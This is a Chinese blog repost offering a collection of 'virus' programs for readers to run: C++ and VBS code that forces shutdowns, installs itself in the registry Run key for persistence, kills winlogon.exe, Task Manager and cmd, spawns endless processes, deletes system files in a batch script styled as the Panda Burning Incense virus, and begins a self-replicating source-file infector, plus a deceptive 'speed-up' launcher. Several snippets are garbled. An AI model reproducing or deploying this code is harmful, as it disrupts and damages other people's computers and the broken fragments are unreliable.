病毒代码「建议收藏」

病毒代码「建议收藏」【病毒小程序】关于病毒的代码可以用来运行一下,你的电脑可能会发生……但大家都知道,病毒是恐怖的,你可以做一些有趣的代码.关机代码#includeusingnamespacestd;

大家好,又见面了,我是你们的朋友全栈君。

【病毒小程序】关于病毒的代码

可以用来运行一下,你的电脑可能会发生……但大家都知道,病毒是恐怖的,你可以做一些有趣的代码.

关机代码

  

#include
using namespace std;
void main()
{
system(“cmd /c shutdown -s -t 60”); //这是调用cmd
system(“pause”);
}
相信这很简单吧!
还有个方法
#include
#include<shlobj.h>
#include<shellapi.h>
using namespace std;
void main()
{
ShellExecute(NULL,“open”,“cmd.EⅩE”,"/c shutdown -s -t 60",NULL,SW_HIDE);
system(“pause”);

}  

 

加强版本

// shutdownDemo.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>

BOOL MySystemShutdown()
{
HANDLE hToken;    //用于操作的句柄
TOKEN_PRIVILEGES tkp;    //用于存放特定信息

// Get a token for this process. 

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return(FALSE);

// Get the LUID for the shutdown privilege. 
//如果要提权的话要在下面这两个函数提权

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1; // one privilege to set 
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Get the shutdown privilege for this process.    


AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);

if (GetLastError() != ERROR_SUCCESS)
return FALSE;

// Shut down the system and force all applications to close. 

if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE,
SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
SHTDN_REASON_MINOR_UPGRADE |
SHTDN_REASON_FLAG_PLANNED))
return FALSE;

//shutdown was successful
return TRUE;
}


int _tmain(int argc, _TCHAR* argv[])
{
getchar();
HKEY hKey = { 0 };

/*LONG RegOpenKeyEx(
HKEY hKey, // 需要打开的主键的名称
LPCTSTR lpSubKey, //需要打开的子键的名称
DWORD ulOptions, // 保留,设为0
REGSAM samDesired, // 安全访问标记,也就是权限
PHKEY phkResult // 得到的将要打开键的句柄
)*/

RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);    //打开一个指定的注册表键
char path[MAX_PATH] = { 0 };
GetModuleFileNameA(nullptr, path, MAX_PATH);    //获取当前文件路径

RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path));
MySystemShutdown();
return 0;
}

 

  

卡死代码

#include <stdio.h>
void main()
{
long int i;
while(i < =100000000)
{
printf("""");
i--;
}
}

 

 

打开无数计算机

“`

set wsh=createobject(“wscript.shell”)
do
wsh.run “calc”
loop
这段代码是打开无数个计算器,直到死机 ,也是保存为.vbs格式

  

“`

 VBS系列格式代码

甩不掉的魔鬼

WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!”&TSName)
WScript.Echo(“你是可爱的小朋吗?”)
WScript.Echo(“哈,我想你拉,这你都不知道吗?”)
WScript.Echo(“怎么才来,说~是不是不关心我”)
WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。”)
WScript.Echo(“小强很生气,后果很严重哦。”)
WScript.Echo(“嘿嘿!你也会很惨滴哦”)
WScript.Echo(“是不是想清除我?”)
WScript.Echo(“那你要点上50下哦,不过会给你惊喜滴”)
WScript.Echo(“还剩49下,快点点哦”)
WScript.Echo(“还剩48下,快点,小笨蛋!”)
WScript.Echo(“还剩47下对,就这样快点点!”)
WScript.Echo(“还剩46下。你啊就是笨,要快哦,我先不打扰你工作。”)
WScript.Echo(“还剩45下,记得要快哦!”)
WScript.Echo(“还剩43下”)
WScript.Echo(“还剩42下”)
WScript.Echo(“还剩41下”)
WScript.Echo(“还剩40下”)
WScript.Echo(“还剩39下”)
WScript.Echo(“还剩38下”)
WScript.Echo(“还剩37下”)
WScript.Echo(“还剩36下”)
WScript.Echo(“还剩35下”)
WScript.Echo(“还剩34下”)
WScript.Echo(“还剩33下”)
WScript.Echo(“还剩32下”)
WScript.Echo(“还剩30下”)
WScript.Echo(“还剩29下”)
WScript.Echo(“还剩28下”)
WScript.Echo(“还剩27下”)
WScript.Echo(“还剩26下”)
WScript.Echo(“还剩25下”)
WScript.Echo(“还剩24下”)
WScript.Echo(“还剩23下”)
WScript.Echo(“还剩22下”)
WScript.Echo(“还剩21下”)
WScript.Echo(“还剩20下”)
WScript.Echo(“还剩19下”)
WScript.Echo(“还剩18下”)
WScript.Echo(“还剩17下”)
WScript.Echo(“还剩16下”)
WScript.Echo(“还剩15下”)
WScript.Echo(“还剩14下”)
WScript.Echo(“还剩13下停停!!!慢点,我有话要说”)
WScript.Echo(“还剩12下,你继续点我就会消失滴”)
WScript.Echo(“还剩11下,以后就看不到我拉。555555”)
WScript.Echo(“还剩10下,你现在可以选择停止!”)
WScript.Echo(“还剩9下。你还点啊,不要我拉?”)
WScript.Echo(“还剩8下,有点伤心拉,干嘛丢弃人家”)
WScript.Echo(“还剩7下。疯了,你有点负意!”)
WScript.Echo(“还剩6下。对。你就点吧,我恨你!”)
WScript.Echo(“还剩5下,不明白,删除我你就好吗?”)
WScript.Echo(“还剩4下!真要删除我?”)
WScript.Echo(“还剩3下。可是我真的很眷恋你。。。”)
WScript.Echo(“还剩2下。不要这么绝情嘛,人家是爱你的!”)
WScript.Echo(“还剩1下。哼,既然你这么绝情。也别怪我无义!!!”)
WScript.Echo(“我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一次”)
WScript.Echo(“想结素我么?那你就再多点一次”)

 

糊弄

while(1)
msgbox “哈哈 你被耍了!”
loop

vbs.

 

  

程序病毒

熊猫烧香

@echo off
echo 正在加载熊猫烧香病毒,请稍等......
echo 准备删除系统文件。。。
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清理系统垃圾完成!

 

  

蓝屏代码

#include <windows.h>

#define NUM 32767

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static int iKeep[NUM][4];
HDC hdcScr, hdcMem;
int cx, cy;
HBITMAP hBitmap;
HWND hwnd;
int i, j, x1, y1, x2, y2;

if (LockWindowUpdate(hwnd = GetDesktopWindow()))
{
hdcScr = GetDCEx(hwnd, NULL, DCX_CACHE | DCX_LOCKWINDOWUPDATE);
hdcMem = CreateCompatibleDC(hdcScr);
cx = GetSystemMetrics(SM_CXSCREEN) / 10;
cy = GetSystemMetrics(SM_CYSCREEN) / 10;
hBitmap = CreateCompatibleBitmap(hdcScr, cx, cy);

SelectObject(hdcMem, hBitmap);

srand((int)GetCurrentTime());

for (i = 0; i < 2; i++)
for (j = 0; j < NUM; j++)
{
LockWindowUpdate(hwnd = GetDesktopWindow());
if (i == 0)
{
iKeep[j][0] = x1 = cx * (rand() % 10);
iKeep[j][1] = y1 = cy * (rand() % 10);
iKeep[j][2] = x2 = cx * (rand() % 10);
iKeep[j][3] = y2 = cy * (rand() % 10);
}
else
{
x1 = iKeep[NUM - 1 - j][0];
y1 = iKeep[NUM - 1 - j][1];
x2 = iKeep[NUM - 1 - j][2];
y2 = iKeep[NUM - 1 - j][3];
}
BitBlt(hdcMem, 0, 0, cx, cy, hdcScr, x1, y1, SRCCOPY);
BitBlt(hdcScr, x1, y1, cx, cy, hdcScr, x2, y2, SRCCOPY);
BitBlt(hdcScr, x2, y2, cx, cy, hdcMem, 0, 0, SRCCOPY);
}

DeleteDC(hdcMem);
ReleaseDC(hwnd, hdcScr);
DeleteObject(hBitmap);
}
return 0;
}
```
**加强版**

```
for each ps in getobject(“winmgmts:\.\root\cimv2:win32_process”).instances_
ifUcase(ps.name)=Ucase(“winlogon.exe”) then
ps.terminate
end if
next

for each ps ingetobject(“winmgmts:\.\root\cimv2:win32_process”).instances_
ifUcase(ps.name)=Ucase(“winlogon.exe”) then
ps.terminate
end if
next

Setws=CreateObject(“WScript.Shell”)
setfs=createobject(“scripting.filesystemobject”)
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfilethn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin",“C:\admin123.vbs”
loop
ws.run “shutdown -s -f -t 60do
wscript.sleep 500
if ws.appactivate(“Windows 任务管理器”)=truethen
ws.run “taskkill /f /imTaskmgr.exe”
end if
if ws.appactivate(“命令提示符”)=truethen
ws.run “taskkill /f /im cmd.exe”
end if
ifws.appactivate(“C:\WINDOWS\system32\cmd.exe”)=true then
ws.run “taskkill /f /im cmd.exe”
end if
if ws.appactivate(“系统关机”)=falsethen
ws.run “shutdown -s -f -t 30”
end if
loop

改成.vbs
```

一般病毒
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char input[10];

system("shutdown -s -t 60");
flag:
printf("1分钟之后关机,请输入\"我是猪\"三个字解除\n");
scanf("%s",input);
if(strcmp(input, "我是狗") == 0)
{
system("shutdown -a");
}
else
{
goto flag;
}
return 0;
}

 

  

“`
最后,在给你们介绍一个加快电脑速度的代码:

#include<windows.h>
using namespace std;
int main(){
system("start C:/a.exe");
}

 

  

运行一下…….
你发现会闪现,点击程序栏,按Ctrl+C停止程序,试一试.

void vir()
{ 
string CurFileName = __FILE__;//绝对路径
string obCurFileName //相对路径
= CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);

WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码 
string FileCode[500]; //宿主代码

int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度 

 

  

 
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/154539.html原文链接:https://javaforall.net

(2)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Django(34)Django操作session(超详细)「建议收藏」

    Django(34)Django操作session(超详细)「建议收藏」前言session:session和cookie的作用有点类似,都是为了存储用户相关的信息。不同的是,cookie是存储在本地浏览器,session是一个思路、一个概念、一个服务器存储授权信息的解

    2022年7月31日
    6
  • 矩阵的投影矩阵_正交投影矩阵的性质

    矩阵的投影矩阵_正交投影矩阵的性质线性代数基础知识(上)线性代数基础知识(下)广义逆矩阵投影矩阵投影的定义投影矩阵求法性质投影矩阵的应用从投影角度看广义逆从投影角度看最小二乘。。。投影的定义什么是投影?下图给出了投影的直观理解:如图是在R3R^3R3空间中,一条直线lll与一个平面α\alphaα相交,向量zzz是R3R^3R3中的一个向量。把lll看成是一束光(方向从上到下),光…

    2022年10月5日
    2
  • RadControls for Windows 8

    RadControls for Windows 8RadControlsforWindows8http://www.telerik.com/help/wpf/radchartview-populating-with-data-static-data.htmlRadCartesianChartchart=newRadCartesianChart();      chart.HorizontalAxi

    2022年7月19日
    12
  • JAVA初体验

    JAVA初体验目录 nbsp 1 什么是软件开发 2 人机交互方式 3 JAVA 语言概述 3 1JAVA 语言的三种技术架构 3 2JAVA 语言的跨平台性 4 JAVA 开发环境 4 1 nbsp JDK JRE JVM 之间的关系 4 2 为什么配置 path 变量 5 Java 程序的编写 编译和运行 1 什么是软件开发 软件 一系列按照特定顺序组织的计算机数据和指令的集合 软件是由程序 数

    2025年10月25日
    3
  • navicat for mysql 15 激活码 3月最新注册码「建议收藏」

    navicat for mysql 15 激活码 3月最新注册码,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月15日
    573
  • 电信dns服务器哪个稳定,电信宽带dns设置哪个最快? dns设置哪个最好最快「建议收藏」

    电信dns服务器哪个稳定,电信宽带dns设置哪个最快? dns设置哪个最好最快「建议收藏」中国电信广州用户(包括番禺、增城、从化等区电信用户)“首选DNS服务器”为:61.144.56.101“备用DNS服务器”为:61.144.56.100这个经过测试确实是目前最快最有效的DNS服务器。2中国电信深圳用户“首选DNS服务器”为:202.96.128.86“备用DNS服务器”设置为:202.96.128.1663中国电信广东省其他地区用户(包括佛山、中山、江门、珠海、汕头等地区电信…

    2022年7月11日
    96

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号